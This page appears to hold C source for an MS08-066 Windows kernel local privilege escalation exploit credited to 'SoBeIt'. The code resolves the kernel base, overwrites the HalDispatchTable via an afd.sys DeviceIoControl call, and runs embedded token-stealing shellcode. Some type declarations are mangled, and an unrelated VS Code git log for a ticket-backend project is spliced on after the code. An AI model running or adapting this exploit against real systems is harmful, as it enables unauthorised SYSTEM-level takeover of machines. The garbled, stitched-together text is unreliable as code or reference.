ms08-066

  1. #include <stdio.h>
  2. #include <winsock2.h>
  3. #include <windows.h>
  4. #pragma comment(lib, "ws2_32.lib")
  5. #define NTSTATUS        int
  6. typedef struct _PROCESS_BASIC_INFORMATION {
  7. NTSTATUS ExitStatus;
  8. PVOID PebBaseAddress;
  9. ULONG AffinityMask;
  10. ULONG BasePriority;
  11. ULONG UniqueProcessId;
  12. ULONG InheritedFromUniqueProcessId;
  13. } PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
  14. typedef struct _IMAGE_FIXUP_ENTRY {
  15. USHORT        Offset:12;
  16. USHORT        Type:4;
  17. } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
  18. typedef enum _PROCESS_IMFORMATION_CLASS {
  19. ProcessBasicInformation,
  20. ProcessQuotaLimits,
  21. ProcessIoCounters,
  22. ProcessVmCounters,
  23. ProcessTimes,
  24. ProcessBasePriority,
  25. ProcessRaisePriority,
  26. ProcessDebugPort,
  27. ProcessExceptionPort,
  28. ProcessAccessToken,
  29. ProcessLdtInformation,
  30. ProcessLdtSize,
  31. ProcessDeaultHardErrorMode,
  32. ProcessIoPortHandlers,
  33. ProcessPooledUsageAndLimits,
  34. ProcessWorkingSetWatch,
  35. ProcessUserModeIOPL,
  36. ProcessEnableAlignmentFaultFixup,
  37. ProcessPriorityClass,
  38. ProcessWx86Information,
  39. ProcessHandleCount,
  40. ProcessAffinityMask,
  41. ProcessPriorityBoost,
  42. ProcessDeviceMap,
  43. ProcessSessionInformation,
  44. ProcessForegroundInformation,
  45. ProcessWow64Information
  46. } PROCESS_INFORMATION_CLASS;
  47. typedef enum _SYSTEM_INFORMATION_CLASS {
  48. SystemBasicInformation,
  49. SystemProcessorInformation,
  50. SystemPerformanceInformation,
  51. SystemTimeOfDayInformation,
  52. SystemNotImplemented1,
  53. SystemProcessesAndThreadsInformation,
  54. SystemCallCounts,
  55. SystemConfigurationInformation,
  56. SystemProcessorTimes,
  57. SystemGlobalFlag,
  58. SystemNotImplemented2,
  59. SystemModuleInformation,
  60. SystemLockInformation,
  61. SystemNotImplemented3,
  62. SystemNotImplemented4,
  63. SystemNotImplemented5,
  64. SystemHandleInformation,
  65. SystemObjectInformation,
  66. SystemPagefileInformation,
  67. SystemInstructioEmulationCounts,
  68. SystemInvalidInfoClass1,
  69. SystemCacheInformation,
  70. SystemPoolTagInformation,
  71. SystemProcessorStatistics,
  72. SystemDpcInformation,
  73. SystemNotImplemented6,
  74. SystemLoadImage,
  75. SystemUnloadImage,
  76. SystemTimeAdjustment,
  77. SystemNotImplemented7,
  78. SystemNotImplemented8,
  79. SystemNotImplemented9,
  80. SystemCrashDumpInformation,
  81. SystemExceptionInformation,
  82. SystemCrashDumpStateInformation,
  83. SystemKernelDebuggerInformation,
  84. SystemContextSwitchInformation,
  85. SystemRegisterQuotaInformation,
  86. SystemLoadAndCallImage,
  87. SystemPrioritySeparation
  88. } SYSTEM_INFORMATION_CLASS;
  89. typedef enum _KPROFILE_SOURCE {
  90. ProfileTime,
  91. ProfileAlignmentFixup,
  92. ProfileTotalIssues,
  93. ProfilePipelineDry,
  94. ProfileLoadInstructions,
  95. ProfilePipelineFrozen,
  96. ProfileBranchInstructions,
  97. ProfileTotalNonissues,
  98. ProfileDcacheMisses,
  99. ProfileIcacheMisses,
  100. ProfileCacheMisses,
  101. ProfileBranchMispredictions,
  102. ProfileStoreInstructions,
  103. ProfileFpInstructions,
  104. ProfileIntegerInstructions,
  105. Profile2Issue,
  106. Profile3Issue,
  107. Profile4Issue,
  108. ProfileSpecialInstructions,
  109. ProfileTotalCycles,
  110. ProfileIcacheIssues,
  111. ProfileDcacheAccesses,
  112. ProfileMemoryBarrierCycles,
  113. ProfileLoadLinkedIssues,
  114. ProfileMaximum
  115. } KPROFILE_SOURCE, *PKPROFILE_SOURCE;
  116. typedef struct _UNICODE_STRING {
  117. USHORT        Length;
  118. USHORT        MaximumLength;
  119. PWSTR        Buffer;
  120. } UNICODE_STRING, *PUNICODE_STRING;
  121. typedef struct _SECTION_BASIC_INFORMATION {
  122. PVOID BaseAddress;
  123. ULONG Attributes;
  124. LARGE_INTEGER Size;
  125. }SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;
  126. typedef struct _SYSTEM_MODULE_INFORMATION {
  127. ULONG Reserved[2];
  128. PVOID Base;
  129. ULONG Size;
  130. ULONG Flags;
  131. USHORT Index;
  132. USHORT Unknown;
  133. USHORT LoadCount;
  134. USHORT ModuleNameOffset;
  135. CHAR ImageName[256];
  136. } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
  137. typedef NTSTATUS (NTAPI *ZWQUERYINTERNALPROFILE)(ULONGPULONG);
  138. typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLEULONGPVOIDULONGPULONG);
  139. typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONGPVOIDULONGPULONG);
  140. typedef NTSTATUS (NTAPI *ZWALLOCATEVIRTUALMEMORY)(HANDLEPVOID *, ULONGPULONGULONGULONG);
  141. typedef PIMAGE_NT_HEADERS (NTAPI *RTLIMAGENTHEADER)(PVOID);
  142. typedef PVOID (NTAPI *RTLIMAGEDIRECTORYENTRYTODATA)(PVOIDULONGUSHORTPULONG);
  143. ZWQUERYINTERNALPROFILE        ZwQueryIntervalProfile;
  144. ZWQUERYINFORMATIONPROCESS        ZwQueryInformationProcess;
  145. ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
  146. ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory;
  147. RTLIMAGENTHEADER RtlImageNtHeader;
  148. RTLIMAGEDIRECTORYENTRYTODATA RtlImageDirectoryEntryToData;
  149. unsigned char kfunctions[64][64] =
  150. {
  151. //ntoskrnl.exe
  152. {"ZwTerminateProcess"},
  153. {"PsLookupProcessByProcessId"},
  154. {""},
  155. };
  156. unsigned char shellcode[] =
  157. "/x90/x60/x9c/xe9/xc4/x00/x00/x00/x5f/x4f/x47/x66/x81/x3f/x90/xcc"
  158. "/x75/xf8/x66/x81/x7f/x02/xcc/x90/x75/xf0/x83/xc7/x04/x64/x8b/x35"
  159. "/x38/x00/x00/x00/xad/xad/x48/x81/x38/x4d/x5a/x90/x00/x75/xf7/x95"
  160. "/x8b/xf7/x6a/x02/x59/xe8/x4d/x00/x00/x00/xe2/xf9/x8b/x4e/x0c/xe8"
  161. "/x29/x00/x00/x00/x50/x8b/x4e/x08/xe8/x20/x00/x00/x00/x5a/x8b/x7e"
  162. "/x1c/x8b/x0c/x3a/x89/x0c/x38/x56/x8b/x7e/x14/x8b/x4e/x18/x8b/x76"
  163. "/x10/xf3/xa4/x5e/x33/xc0/x50/x50/xff/x16/x9d/x61/xc3/x83/xec/x04"
  164. "/x8d/x2c/x24/x55/x51/xff/x56/x04/x85/xc0/x0f/x85/x80/x8f/x00/x00"
  165. "/x8b/x45/x00/x83/xc4/x04/xc3/x51/x56/x8b/x75/x3c/x8b/x74/x2e/x78"
  166. "/x03/xf5/x56/x8b/x76/x20/x03/xf5/x33/xc9/x49/x41/xad/x03/xc5/x33"
  167. "/xdb/x0f/xbe/x10/x85/xd2/x74/x08/xc1/xcb/x07/x03/xda/x40/xeb/xf1"
  168. "/x3b/x1f/x75/xe7/x5e/x8b/x5e/x24/x03/xdd/x66/x8b/x0c/x4b/x8b/x5e"
  169. "/x1c/x03/xdd/x8b/x04/x8b/x03/xc5/xab/x5e/x59/xc3/xe8/x37/xff/xff"
  170. "/xff/x90/x90/x90"
  171. "/x90/xcc/xcc/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  172. "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  173. "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/xcc/x90/x90/xcc";
  174. void ErrorQuit(pMsg)
  175. {
  176. printf("%sError Code:%d/n", pMsg, GetLastError());
  177. ExitProcess(0);
  178. }
  179. ULONG ComputeHash(char *ch)
  180. {
  181. ULONG ret = 0;
  182. while(*ch)
  183. {
  184. ret = ((ret << 25) | (ret >> 7)) + *ch++;
  185. }
  186. return ret;
  187. }
  188. void GetFunction()
  189. {
  190. HANDLE        hNtdll;
  191. hNtdll = LoadLibrary("ntdll.dll");
  192. if(hNtdll == NULL)
  193. ErrorQuit("LoadLibrary failed./n");
  194. ZwQueryIntervalProfile = (ZWQUERYINTERNALPROFILE)GetProcAddress(hNtdll, "ZwQueryIntervalProfile");
  195. if(ZwQueryIntervalProfile == NULL)
  196. ErrorQuit("GetProcAddress failed./n");
  197. ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
  198. if(ZwQueryInformationProcess == NULL)
  199. ErrorQuit("GetProcAddress failed./n");
  200. ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
  201. if(ZwQuerySystemInformation == NULL)
  202. ErrorQuit("GetProcessAddress failed./n");
  203. ZwAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "ZwAllocateVirtualMemory");
  204. if(ZwAllocateVirtualMemory == NULL)
  205. ErrorQuit("GetProcAddress failed./n");
  206. RtlImageNtHeader = (RTLIMAGENTHEADER)GetProcAddress(hNtdll, "RtlImageNtHeader");
  207. if(RtlImageNtHeader == NULL)
  208. ErrorQuit("GetProcAddress failed./n");
  209. RtlImageDirectoryEntryToData = (RTLIMAGEDIRECTORYENTRYTODATA)GetProcAddress(hNtdll, "RtlImageDirectoryEntryToData");
  210. if(RtlImageDirectoryEntryToData == NULL)
  211. ErrorQuit("GetProcAddress failed./n");
  212. FreeLibrary(hNtdll);
  213. }
  214. ULONG GetKernelBase(char *KernelName)
  215. {
  216. ULONG        i, Byte, ModuleCount, KernelBase;
  217. PVOID        pBuffer;
  218. PSYSTEM_MODULE_INFORMATION        pSystemModuleInformation;
  219. PCHAR        pName;
  220. ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
  221. if((pBuffer = malloc(Byte)) == NULL)
  222. ErrorQuit("malloc failed./n");
  223. if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
  224. ErrorQuit("ZwQuerySystemInformation failed/n");
  225. ModuleCount = *(PULONG)pBuffer;
  226. pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
  227. for(i = 0; i < ModuleCount; i++)
  228. {
  229. if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
  230. {
  231. KernelBase = (ULONG)pSystemModuleInformation->Base;
  232. printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
  233. free(pBuffer);
  234. strcpy(KernelName, "ntoskrnl.exe");
  235. return KernelBase;
  236. }
  237. if((pName = strstr(pSystemModuleInformation->ImageName, "ntkrnlpa.exe")) != NULL)
  238. {
  239. KernelBase = (ULONG)pSystemModuleInformation->Base;
  240. printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
  241. free(pBuffer);
  242. strcpy(KernelName, "ntkrnlpa.exe");
  243. return KernelBase;
  244. }
  245. pSystemModuleInformation++;
  246. }
  247. free(pBuffer);
  248. return 0;
  249. }
  250. ULONG GetServiceTable(PVOID pImageBase, ULONG Address)
  251. {
  252. PIMAGE_NT_HEADERS        pNtHeaders;
  253. PIMAGE_BASE_RELOCATION        pBaseRelocation;
  254. PIMAGE_FIXUP_ENTRY        pFixupEntry;
  255. ULONG        RelocationTableSize = 0;
  256. ULONG        Offset, i, VirtualAddress, Rva;
  257. Offset = Address - (ULONG)pImageBase;
  258. pNtHeaders = (PIMAGE_NT_HEADERS)RtlImageNtHeader(pImageBase);
  259. pBaseRelocation = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData(pImageBase, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &RelocationTableSize);
  260. if(pBaseRelocation == NULL)
  261. return 0;
  262. do
  263. {
  264. pFixupEntry = (PIMAGE_FIXUP_ENTRY)((ULONG)pBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
  265. RelocationTableSize = (pBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1;
  266. for(i = 0; i < RelocationTableSize; i++, pFixupEntry++)
  267. {
  268. if(pFixupEntry->Type == IMAGE_REL_BASED_HIGHLOW)
  269. {
  270. VirtualAddress = pBaseRelocation->VirtualAddress + pFixupEntry->Offset;
  271. Rva = *(PULONG)((ULONG)pImageBase + VirtualAddress) - (ULONG)pNtHeaders->OptionalHeader.ImageBase;
  272. if(Rva == Offset)
  273. {
  274. if (*(PUSHORT)((ULONG)pImageBase + VirtualAddress - 2) == 0x05c7)
  275. return *(PULONG)((ULONG)pImageBase + VirtualAddress + 4) - pNtHeaders->OptionalHeader.ImageBase;
  276. }
  277. }
  278. }
  279. *(PULONG)&pBaseRelocation += pBaseRelocation->SizeOfBlock;
  280. while(pBaseRelocation->VirtualAddress);
  281. return 0;
  282. }
  283. int main(int argc, char* argv[])
  284. {
  285. PVOID                pDrivers[256];
  286. PVOID                pOldKernelInfo, pMapAddress = NULL;
  287. PULONG        pStoreBuffer, pShellcode, pFakeKernelInfo;
  288. PUCHAR        pRestoreBuffer, pBase, FunctionAddress;
  289. PROCESS_BASIC_INFORMATION pbi;
  290. SYSTEM_MODULE_INFORMATION        smi;
  291. SECTION_BASIC_INFORMATION sbi;
  292. KPROFILE_SOURCE        ProfileSource;
  293. OSVERSIONINFO        ovi;
  294. char                DriverName[256], KernelName[64];
  295. ULONG                Byte, len, i, j, k, BaseAddress, Value, KernelBase, buf[64];
  296. ULONG                HookAddress, SystemId, TokenOffset, Sections, Pid, FunctionNumber;
  297. ULONG                HDTOffset, AllocationSize;
  298. ULONG                Result;
  299. HANDLE        hKernel;
  300. WSADATA        wsad;
  301. int                sockfd;
  302. struct sockaddr_in saddr;
  303. printf("/n MS08-0xx Windows Kernel Ancillary Function Driver Local Privilege Escalation Vulnerability Exploit /n/n");
  304. printf("/t Create by SoBeIt. /n/n");
  305. if(argc != 1)
  306. {
  307. printf(" Usage:%s/n/n", argv[0]);
  308. return 1;
  309. }
  310. pFakeKernelInfo = (PULONG)malloc(256);
  311. GetFunction();
  312. if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
  313. ErrorQuit("ZwQueryInformationProcess failed/n");
  314. KernelBase = GetKernelBase(KernelName);
  315. if(!KernelBase)
  316. ErrorQuit("Unable to get kernel base address./n");
  317. printf("Kernel base address: %x/n", KernelBase);
  318. ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  319. if(!GetVersionEx(&ovi))
  320. ErrorQuit("GetVersionEx failed./n");
  321. if(ovi.dwMajorVersion != 5 && ovi.dwMajorVersion != 6)
  322. ErrorQuit("Not Windows NT family OS./n");
  323. printf("Major Version:%d Minor Version:%d/n", ovi.dwMajorVersion, ovi.dwMinorVersion);
  324. switch(ovi.dwMinorVersion)
  325. {
  326. case 0:                                                //Windows2000
  327. SystemId = 8;
  328. TokenOffset = 0x12c;
  329. break;
  330. case 1:                                                //WindowsXP
  331. SystemId = 4;
  332. TokenOffset = 0xc8;
  333. break;
  334. case 2:                                                //Windows2003
  335. SystemId = 4;
  336. TokenOffset = 0xd8;
  337. break;
  338. default:
  339. SystemId = 4;
  340. TokenOffset = 0xc8;
  341. }
  342. hKernel = LoadLibrary(KernelName);
  343. if(hKernel == NULL)
  344. ErrorQuit("LoadLibrary failed./n");
  345. printf("Load Base:%x/n", (ULONG)hKernel);
  346. HDTOffset = (ULONG)GetProcAddress(hKernel, "HalDispatchTable");
  347. HDTOffset += KernelBase - (ULONG)hKernel;
  348. printf("HalDispatchTable Offset:%x/n", HDTOffset);
  349. HookAddress = (ULONG)(HDTOffset + 4);
  350. printf("NtQueryIntervalProfile function entry address:%x/n", HookAddress);
  351. AllocationSize = 0x1000;
  352. pStoreBuffer = (PULONG)0x7fb0;
  353. if(ZwAllocateVirtualMemory((HANDLE)0xffffffff, &pStoreBuffer, 0, &AllocationSize,
  354. MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE))
  355. ErrorQuit("ZwAllocateVirtualMemory failed./n");
  356. pRestoreBuffer = malloc(0x100);
  357. memset(pStoreBuffer, 0x90, AllocationSize);
  358. pShellcode = (PULONG)shellcode;
  359. for(k = 0; pShellcode[k++] != 0x90cccc90; )
  360. ;
  361. for(j = 0; kfunctions[j][0] != '/x0'; j++)
  362. buf[j] = ComputeHash(kfunctions[j]);
  363. buf[j++] = pbi.InheritedFromUniqueProcessId;
  364. buf[j++] = SystemId;
  365. buf[j++] = (ULONG)pRestoreBuffer;
  366. buf[j++] = HookAddress;
  367. buf[j++] = 0x04;
  368. buf[j++] = TokenOffset;
  369. memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
  370. memcpy((PUCHAR)0x8000, shellcode, sizeof(shellcode) - 1);
  371. if(WSAStartup(MAKEWORD(2, 2), &wsad) != 0)
  372. ErrorQuit("WSAStartup failed./n");
  373. if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  374. ErrorQuit("socket failed./n");
  375. saddr.sin_family = AF_INET;
  376. saddr.sin_port = htons(0x1bd);
  377. saddr.sin_addr.s_addr = 0x100007f;
  378. if(connect(sockfd, (struct sockaddr *)&saddr, sizeof(struct sockaddr)))
  379. ErrorQuit("connect failed./n");
  380. DeviceIoControl((HANDLE)sockfd, 0x1203F, NULL, 0, (PVOID)(HookAddress - 3), 0, &Result, NULL);
  381. ProfileSource = ProfileTotalIssues;
  382. ZwQueryIntervalProfile(ProfileSource, &Result);
  383. printf("Exploit finished./n");
  384. return 1;
  385. }
2025-09-12 15:40:27.160 [info] [main] 日志级别: Info 2025-09-12 15:40:27.160 [info] [main] 正在验证在以下位置找到的 git: "git" 2025-09-12 15:40:27.160 [info] [main] 使用来自 "git" 的 git "2.34.1" 2025-09-12 15:40:27.160 [info] [Model][doInitialScan] Initial repository scan started 2025-09-12 15:40:27.160 [info] > git rev-parse --show-toplevel [1513ms] 2025-09-12 15:40:27.617 [info] > git rev-parse --git-dir --git-common-dir [452ms] 2025-09-12 15:40:27.625 [info] [Model][openRepository] Opened repository (path): /mnt/d/cy.n/project/7.4/ticket-backend 2025-09-12 15:40:27.625 [info] [Model][openRepository] Opened repository (real path): /mnt/d/cy.n/project/7.4/ticket-backend 2025-09-12 15:40:28.041 [info] > git fetch [417ms] 2025-09-12 15:40:28.042 [info] Missing or invalid credentials. Skip silent fetch commands remote: HTTP Basic: Access denied fatal: Authentication failed for 'http://10.0.196.27/fault-sight/ticket-backend.git/' 2025-09-12 15:40:28.042 [info] > git rev-parse --show-toplevel [242ms] 2025-09-12 15:40:28.042 [info] > git config --get commit.template [245ms] 2025-09-12 15:40:28.074 [info] > git config --get commit.template [22ms] 2025-09-12 15:40:28.078 [info] > git rev-parse --show-toplevel [13ms] 2025-09-12 15:40:28.392 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [329ms] 2025-09-12 15:40:28.392 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [346ms] 2025-09-12 15:40:28.392 [info] > git rev-parse --show-toplevel [309ms] 2025-09-12 15:40:28.448 [info] > git check-ignore -v -z --stdin [68ms] 2025-09-12 15:40:28.449 [info] > git rev-parse --show-toplevel [50ms] 2025-09-12 15:40:28.503 [info] > git config --get commit.template [38ms] 2025-09-12 15:40:28.503 [info] > git rev-parse --show-toplevel [45ms] 2025-09-12 15:40:28.542 [info] > git rev-parse --show-toplevel [20ms] 2025-09-12 15:40:28.567 [info] > git rev-parse --show-toplevel [20ms] 2025-09-12 15:40:28.586 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [133ms] 2025-09-12 15:40:28.591 [info] > git rev-parse --show-toplevel [19ms] 2025-09-12 15:40:28.598 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [137ms] 2025-09-12 15:40:28.605 [info] > git config --get --local branch.develop.vscode-merge-base [16ms] 2025-09-12 15:40:28.612 [info] > git rev-parse --show-toplevel [16ms] 2025-09-12 15:40:28.620 [info] > git config --get --local branch.develop.vscode-merge-base [12ms] 2025-09-12 15:40:28.636 [info] > git rev-parse --show-toplevel [20ms] 2025-09-12 15:40:28.659 [info] > git rev-parse --show-toplevel [18ms] 2025-09-12 15:40:28.681 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/develop refs/remotes/develop [154ms] 2025-09-12 15:40:28.681 [info] > git rev-parse --show-toplevel [17ms] 2025-09-12 15:40:28.702 [info] > git rev-parse --show-toplevel [16ms] 2025-09-12 15:40:28.703 [info] [Model][doInitialScan] Initial repository scan completed - repositories (1), closed repositories (0), parent repositories (0), unsafe repositories (0) 2025-09-12 15:40:28.731 [info] > git ls-files --stage -- src/models/ticket_models.py [21ms] 2025-09-12 15:40:28.786 [info] > git show --textconv :src/models/ticket_models.py [79ms] 2025-09-12 15:40:28.792 [info] > git cat-file -s 1ce5b6539b34a987902180992eb2fe2f98ea7d57 [58ms] 2025-09-12 15:40:28.794 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/origin/develop refs/remotes/origin/develop [183ms] 2025-09-12 15:40:28.804 [info] > git for-each-ref --format=%(refname)%00%(upstream:short)%00%(objectname)%00%(upstream:track)%00%(upstream:remotename)%00%(upstream:remoteref) refs/heads/origin/develop refs/remotes/origin/develop [181ms] 2025-09-12 15:40:28.869 [info] > git merge-base refs/heads/develop refs/remotes/origin/develop [70ms] 2025-09-12 15:40:28.903 [info] > git merge-base refs/heads/develop refs/remotes/origin/develop [95ms] 2025-09-12 15:40:29.032 [info] > git for-each-ref --sort -committerdate --format %(refname)%00%(objectname)%00%(*objectname) [338ms] 2025-09-12 15:40:29.032 [info] > git diff --name-status -z --diff-filter=ADMR 4ef9932fddb4a218daa47e7e70e0d9aab2a6ede8...refs/remotes/origin/develop [160ms] 2025-09-12 15:40:29.038 [info] > git diff --name-status -z --diff-filter=ADMR 4ef9932fddb4a218daa47e7e70e0d9aab2a6ede8...refs/remotes/origin/develop [132ms] 2025-09-12 15:40:29.122 [info] > git status -z -uall [431ms] 2025-09-12 15:40:30.089 [info] > git blame --root --incremental 4ef9932fddb4a218daa47e7e70e0d9aab2a6ede8 -- src/models/ticket_models.py [1177ms] 2025-09-12 15:40:30.501 [info] > git check-ignore -v -z --stdin [52ms] 2025-09-12 15:40:33.170 [info] > git ls-files --stage -- src/services/ticket_quantitative_service.py [15ms] 2025-09-12 15:40:33.213 [info] > git show --textconv :src/services/ticket_quantitative_service.py [62ms] 2025-09-12 15:40:33.216 [info] > git cat-file -s 1c32f903777c11493790c82fa4e5dd5fc58a50b9 [43ms] 2025-09-12 15:40:34.262 [info] > git blame --root --incremental 4ef9932fddb4a218daa47e7e70e0d9aab2a6ede8 -- src/services/ticket_quantitative_service.py [991ms] 2025-09-12 15:40:57.389 [info] > git ls-tree -l HEAD -- src/models/project_models.py [50ms] 2025-09-12 15:40:57.419 [info] > git show --textconv HEAD:src/models/project_models.py [83ms] 2025-09-12 15:40:57.983 [info] > git blame --root --incremental 4ef9932fddb4a218daa47e7e70e0d9aab2a6ede8 -- src/models/project_models.py [506ms] 2025-09-12 15:41:00.403 [info] > git ls-tree -l HEAD -- src/services/project_service.py [49ms] 2025-09-12 15:41:00.441 [info] > git show --textconv HEAD:src/services/project_service.py [92ms] 2025-09-12 15:41:01.357 [info] > git blame --root --incremental 4ef9932fddb4a218daa47e7e70e0d9aab2a6ede8 -- src/services/project_service.py [858ms] 2025-09-12 15:41:49.057 [info] > git ls-files --stage -- src/models/ticket_models.py [12ms] 2025-09-12 15:41:49.081 [info] > git show --textconv :src/models/ticket_models.py [38ms] 2025-09-12 15:41:49.083 [info] > git cat-file -s 1ce5b6539b34a987902180992eb2fe2f98ea7d57 [23ms] 2025-09-12 15:41:49.867 [info] > git check-ignore -v -z --stdin [14ms] 2025-09-12 15:41:50.310 [info] > git ls-files --stage -- src/services/project_service.py [10ms] 2025-09-12 15:41:50.346 [info] > git show --textconv :src/services/project_service.py [48ms] 2025-09-12 15:41:50.347 [info] > git cat-file -s c63efcc874f9c65b09f7c94bd83c1e06ce41e807 [34ms] 2025-09-12 15:41:53.541 [info] > git ls-files --stage -- src/api/ticket_routes.py [13ms] 2025-09-12 15:41:53.583 [info] > git cat-file -s 43bf38a728ee0c0d74c292af89e4914aa477fb5a [39ms] 2025-09-12 15:41:53.584 [info] > git show --textconv :src/api/ticket_routes.py [58ms] 2025-09-12 15:41:53.817 [info] > git check-ignore -v -z --stdin [19ms] 2025-09-12 15:41:53.818 [info] > git blame --root --incremental 4ef9932fddb4a218daa47e7e70e0d9aab2a6ede8 -- src/api/ticket_routes.py [184ms] 2025-09-12 15:41:54.410 [info] > git ls-files --stage -- src/services/ticket_service.py [13ms] 2025-09-12 15:41:54.450 [info] > git cat-file -s 2018901e87f1e3c0297dd01960c3828b1c4e687c [38ms] 2025-09-12 15:41:54.452 [info] > git show --textconv :src/services/ticket_service.py [59ms] 2025-09-12 15:41:54.788 [info] > git blame --root --incremental 4ef9932fddb4a218daa47e7e70e0d9aab2a6ede8 -- src/services/ticket_service.py [277ms] 2025-09-12 15:42:39.253 [info] > git ls-files --stage -- src/main.py [12ms] 2025-09-12 15:42:39.298 [info] > git show --textconv :src/main.py [60ms] 2025-09-12 15:42:39.302 [info] > git cat-file -s 96133397ecbeceae4f4197ea25b3d9e9c29ebfed [46ms] 2025-09-12 15:42:40.015 [info] > git blame --root --incremental 4ef9932fddb4a218daa47e7e70e0d9aab2a6ede8 -- src/main.py [657ms] 2025-09-12 15:46:26.930 [info] > git ls-files --stage -- src/services/project_service.py [16ms] 2025-09-12 15:46:26.953 [info] > git show --textconv :src/services/project_service.py [41ms] 2025-09-12 15:46:26.955 [info] > git cat-file -s c63efcc874f9c65b09f7c94bd83c1e06ce41e807 [23ms] 2025-09-12 15:46:27.284 [info] > git ls-files --stage -- src/api/ticket_routes.py [19ms] 2025-09-12 15:46:27.328 [info] > git cat-file -s 43bf38a728ee0c0d74c292af89e4914aa477fb5a [41ms] 2025-09-12 15:46:27.329 [info] > git show --textconv :src/api/ticket_routes.py [68ms] 2025-09-12 15:46:50.073 [info] > git ls-files --stage -- src/services/ticket_service.py [11ms] 2025-09-12 15:46:50.118 [info] > git cat-file -s 2018901e87f1e3c0297dd01960c3828b1c4e687c [42ms] 2025-09-12 15:46:50.120 [info] > git show --textconv :src/services/ticket_service.py [61ms] 2025-09-12 16:08:52.369 [info] > git ls-files --stage -- src/services/project_service.py [12ms] 2025-09-12 16:08:52.391 [info] > git show --textconv :src/services/project_service.py [36ms] 2025-09-12 16:08:52.401 [info] > git cat-file -s c63efcc874f9c65b09f7c94bd83c1e06ce41e807 [28ms] 2025-09-12 16:08:53.157 [info] > git ls-files --stage -- src/api/ticket_routes.py [10ms] 2025-09-12 16:08:53.181 [info] > git cat-file -s 43bf38a728ee0c0d74c292af89e4914aa477fb5a [21ms] 2025-09-12 16:08:53.181 [info] > git show --textconv :src/api/ticket_routes.py [37ms] 2025-09-12 16:08:56.395 [info] > git ls-files --stage -- src/models/ticket_models.py [11ms] 2025-09-12 16:08:56.419 [info] > git show --textconv :src/models/ticket_models.py [38ms] 2025-09-12 16:08:56.422 [info] > git cat-file -s 1ce5b6539b34a987902180992eb2fe2f98ea7d57 [25ms] 2025-09-12 16:08:57.233 [info] > git ls-files --stage -- src/services/ticket_service.py [8ms] 2025-09-12 16:08:57.263 [info] > git show --textconv :src/services/ticket_service.py [41ms] 2025-09-12 16:08:57.265 [info] > git cat-file -s 2018901e87f1e3c0297dd01960c3828b1c4e687c [29ms] 2025-09-12 16:28:24.609 [info] > git check-ignore -v -z --stdin [15ms] 2025-09-12 16:28:25.590 [info] > git ls-files --stage -- src/api/design_routes.py [13ms] 2025-09-12 16:28:25.632 [info] > git show --textconv :src/api/design_routes.py [59ms] 2025-09-12 16:28:25.634 [info] > git cat-file -s 3341bb255a4e51a2c945be17560ecc9cd8e84461 [40ms] 2025-09-12 16:28:25.878 [info] > git blame --root --incremental 4ef9932fddb4a218daa47e7e70e0d9aab2a6ede8 -- src/api/design_routes.py [195ms] 2025-09-12 16:28:47.444 [info] > git ls-files --stage -- src/api/ticket_routes.py [11ms] 2025-09-12 16:28:47.470 [info] > git show --textconv :src/api/ticket_routes.py [40ms] 2025-09-12 16:28:47.472 [info] > git cat-file -s 43bf38a728ee0c0d74c292af89e4914aa477fb5a [25ms] 2025-09-12 16:28:58.089 [info] > git ls-files --stage -- src/services/ticket_service.py [9ms] 2025-09-12 16:28:58.115 [info] > git show --textconv :src/services/ticket_service.py [38ms] 2025-09-12 16:28:58.116 [info] > git cat-file 